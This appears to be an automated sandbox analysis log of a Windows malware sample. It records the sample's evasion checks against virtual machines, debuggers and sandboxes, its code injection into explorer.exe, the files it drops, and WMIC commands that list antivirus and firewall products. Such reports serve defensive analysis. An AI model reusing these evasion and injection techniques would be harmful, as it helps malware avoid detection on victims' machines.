Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\explorer.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_14-890

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\9245.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PnPEntity WHERE ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}"
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, PNPDeviceID, Manufacturer, Description FROM Win32_PnPEntity WHERE ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}"

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\9245.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_NetworkAdapter WHERE PhysicalAdapter=TRUE
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, MACAddress, ProductName, ServiceName, NetConnectionID FROM Win32_NetworkAdapter WHERE PhysicalAdapter=TRUE
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Source: C:\Users\user\AppData\Local\Temp\9245.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_StartupCommand
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, Location, Command FROM Win32_StartupCommand

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\bCnarg2O62.exe	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\Desktop\bCnarg2O62.exe	API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Roaming\derhswe	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Roaming\derhswe	API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	API/Special instruction interceptor: Address: 7FFE2220D584
Source: C:\Users\user\AppData\Roaming\jfrhswe	API/Special instruction interceptor: Address: 7FFE2220E814
Source: C:\Users\user\AppData\Roaming\jfrhswe	API/Special instruction interceptor: Address: 7FFE2220D584

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: bCnarg2O62.exe, 00000000.00000002.1799228809.000000000059E000.00000004.00000020.00020000.00000000.sdmp, jfrhswe, 00000008.00000002.2520101512.000000000072E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK
Source: derhswe, 00000006.00000002.2106549863.0000000000738000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOKKW
Source: 1D0F.exe, 00000007.00000002.2263890739.000000000074E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOKNL

Source: C:\Users\user\AppData\Local\Temp\1D0F.exe

Code function: 7_2_00401E65 rdtsc

7_2_00401E65

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_00581016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,

14_2_00581016

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 459	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 738	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 513	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 412	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 376	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 888	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 864	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 2630	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 2197	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 3699
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 3620

Source: C:\Windows\explorer.exe TID: 5472	Thread sleep count: 459 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3852	Thread sleep count: 738 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3852	Thread sleep time: -73800s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4900	Thread sleep count: 513 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4900	Thread sleep time: -51300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1460	Thread sleep count: 412 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3448	Thread sleep count: 246 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2000	Thread sleep count: 376 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2232	Thread sleep count: 192 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5740	Thread sleep count: 186 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1148	Thread sleep count: 225 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5004	Thread sleep count: 103 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2336	Thread sleep count: 139 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5228	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2112	Thread sleep count: 2630 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 2112	Thread sleep time: -2630000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3904	Thread sleep count: 2197 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3904	Thread sleep time: -2197000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 5212	Thread sleep count: 3699 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 5212	Thread sleep time: -3699000s >= -30000s
Source: C:\Windows\explorer.exe TID: 2448	Thread sleep count: 3620 > 30
Source: C:\Windows\explorer.exe TID: 2448	Thread sleep time: -3620000s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\9245.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Caption, Manufacturer, PrimaryOwnerName, UserName, Workgroup FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\9245.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, NumberOfCores FROM Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\9245.exe	Code function: 10_2_00007FF7327AFB38 GetEnvironmentVariableW,lstrcatW,lstrcpyW,lstrcatW,FindFirstFileW,lstrcatW,lstrcatW,FindClose,	10_2_00007FF7327AFB38
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F2B15 FindFirstFileW,lstrcmpiW,lstrcmpiW,StrStrIW,StrStrIW,FindNextFileW,FindClose,	12_2_030F2B15
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F3ED9 PathCombineW,FindFirstFileW,lstrcmpiW,lstrcmpiW,PathCombineW,lstrcmpiW,PathCombineW,FindNextFileW,FindClose,	12_2_030F3ED9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F1D4A FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,FindNextFileW,FindClose,	12_2_030F1D4A
Source: C:\Windows\explorer.exe	Code function: 13_2_003C30A8 FindFirstFileW,FindNextFileW,FindClose,	13_2_003C30A8

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 12_2_030F6512 GetSystemInfo,

12_2_030F6512

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: explorer.exe, 00000001.00000000.1780445265.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: 9245.exe, 0000000A.00000002.4175619168.000002988741C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fo & echo 1403081037311360071403081037\r\n\r\nHost Name: user-PC\r\nOS Name: Microsoft Windows 10 Pro\r\nOS Version: 10.0.19045 N/A Build 19045\r\nOS Manufacturer: Microsoft Corporation\r\nOS Configuration: Standalone Workstation\r\nOS Build Type: Multiprocessor Free\r\nRegistered Owner: hardz\r\nRegistered Organization: \r\nProduct ID: 00330-71388-77104-AAOEM\r\nOriginal Install Date: 03/10/2023, 09:57:18\r\nSystem Boot Time: 24/09/2023, 13:00:03\r\nSystem Manufacturer: b41LKM44PbG2dx6\r\nSystem Model: ak DvpvW\r\nSystem Type: x64-based PC\r\nProcessor(s): 2 Processor(s) Installed.\r\n [01]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz\r\n [02]: Intel64 Family 6 Model 143 Stepping 8 GenuineIntel ~2000 Mhz\r\nBIOS Version: ZF23E AWXUF, 21/11/2022\r\nWindows Directory: C:\\Windows\r\nSystem Directory: C:\\Windows\\system32\r\nBoot Device: \\Device\\HarddiskVolume1\r\nSystem Locale: en-gb;English (United Kingdom)\r\nInput Locale: de-ch;German (Switzerland)\r\nTime Zone: (UTC-05:00) Eastern Time (US & Canada)\r\nTotal Physical Memory: 4'095 MB\r\nAvailable Physical Memory: 2'849 MB\r\nVirtual Memory: Max Size: 8'191 MB\r\nVirtual Memory: Available: 7'114 MB\r\nVirtual Memory: In Use: 1'077 MB\r\nPage File Location(s): C:\\pagefile.sys\r\nDomain: SKpKn\r\nLogon Server: \\\\user-PC\r\nHotfix(s): N/A\r\nNetwork Card(s): 1 NIC(s) Installed.\r\n [01]: Intel(R) 82574L Gigabit Network Connection\r\n Connection Name: Ethernet0\r\n DHCP Enabled: No\r\n IP address(es)\r\n [01]: 192.168.2.4\r\n [02]: fe80::29b9:a951:1791:4eb3\r\nHyper-V Requirements: VM Monitor Mode Extensions: No\r\n Virtualization Enabled In Firmware: No\r\n Second Level Address Translation: No\r\n Data Execution Prevention Available: Yes\r\n1403081037311360071403081037\r\n\r\nC:\\Users\\user\\AppData\\Local\\Temp>
Source: explorer.exe, 00000001.00000000.1779684746.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000001.00000000.1779684746.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000001.00000000.1780445265.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000001.00000000.1775685561.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000001.00000000.1777426774.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.1780445265.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000001.00000000.1777426774.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000001.00000000.1779684746.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: explorer.exe, 00000001.00000000.1779684746.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1779684746.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2734650053.0000000003446000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2734650053.0000000003429000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.1780445265.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000001.00000000.1777426774.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: 9245.exe, 0000000A.00000002.4175619168.000002988741C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: explorer.exe, 00000001.00000000.1779684746.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000001.00000000.1775685561.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: ROUTE.EXE, 00000023.00000002.3178249452.0000017983999000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000001.00000000.1775685561.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\bCnarg2O62.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\bCnarg2O62.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\bCnarg2O62.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\bCnarg2O62.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1D0F.exe

Code function: 7_2_00401E65 rdtsc

7_2_00401E65

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_00581B17 CloseHandle,RtlMoveMemory,LoadLibraryA,GetProcAddress,LdrProcessRelocationBlock,

14_2_00581B17

Source: C:\Windows\SysWOW64\explorer.exe

14_2_00581016

Source: C:\Users\user\AppData\Local\Temp\9245.exe

Code function: 10_2_00007FF7327A78EC LoadLibraryA,GetProcAddress,GetCurrentProcess,IsWow64Process,

10_2_00007FF7327A78EC

Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_0052092B mov eax, dword ptr fs:[00000030h]	0_2_0052092B
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_00520D90 mov eax, dword ptr fs:[00000030h]	0_2_00520D90
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Code function: 0_2_005BF171 push dword ptr fs:[00000030h]	0_2_005BF171
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_004A092B mov eax, dword ptr fs:[00000030h]	5_2_004A092B
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_004A0D90 mov eax, dword ptr fs:[00000030h]	5_2_004A0D90
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 5_2_0051E469 push dword ptr fs:[00000030h]	5_2_0051E469
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_0052092B mov eax, dword ptr fs:[00000030h]	6_2_0052092B
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00520D90 mov eax, dword ptr fs:[00000030h]	6_2_00520D90
Source: C:\Users\user\AppData\Roaming\derhswe	Code function: 6_2_00751339 push dword ptr fs:[00000030h]	6_2_00751339
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_005F092B mov eax, dword ptr fs:[00000030h]	7_2_005F092B
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_005F0D90 mov eax, dword ptr fs:[00000030h]	7_2_005F0D90
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Code function: 7_2_0076E8DA push dword ptr fs:[00000030h]	7_2_0076E8DA
Source: C:\Users\user\AppData\Roaming\jfrhswe	Code function: 8_2_0070092B mov eax, dword ptr fs:[00000030h]	8_2_0070092B
Source: C:\Users\user\AppData\Roaming\jfrhswe	Code function: 8_2_00700D90 mov eax, dword ptr fs:[00000030h]	8_2_00700D90
Source: C:\Users\user\AppData\Roaming\jfrhswe	Code function: 8_2_0074E702 push dword ptr fs:[00000030h]	8_2_0074E702

Source: C:\Users\user\AppData\Local\Temp\9245.exe

Code function: 10_2_00007FF7327A2654 GetProcessHeap,RtlReAllocateHeap,

10_2_00007FF7327A2654

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: jfrhswe.1.dr

Jump to dropped file

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\bCnarg2O62.exe	Thread created: C:\Windows\explorer.exe EIP: 31719A8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Thread created: unknown EIP: 13519A8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Thread created: unknown EIP: 34119A8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Thread created: unknown EIP: 9CA1970	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Thread created: unknown EIP: 8741970	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\explorer.exe	Memory written: PID: 2140 base: 9779C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 5652 base: 7FF72B812D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 5368 base: 9779C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 5292 base: 7FF72B812D10 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 2164 base: 9779C0 value: 90	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: PID: 4128 base: 7FF72B812D10 value: 90	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\bCnarg2O62.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\bCnarg2O62.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\derhswe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1D0F.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jfrhswe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9779C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9779C0	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9779C0	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Code function: wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep, explorer.exe		19_2_02F210A5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep, explorer.exe		19_2_02F21016

Source: C:\Users\user\AppData\Local\Temp\9245.exe	Process created: C:\Windows\System32\cmd.exe cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv	Jump to behavior
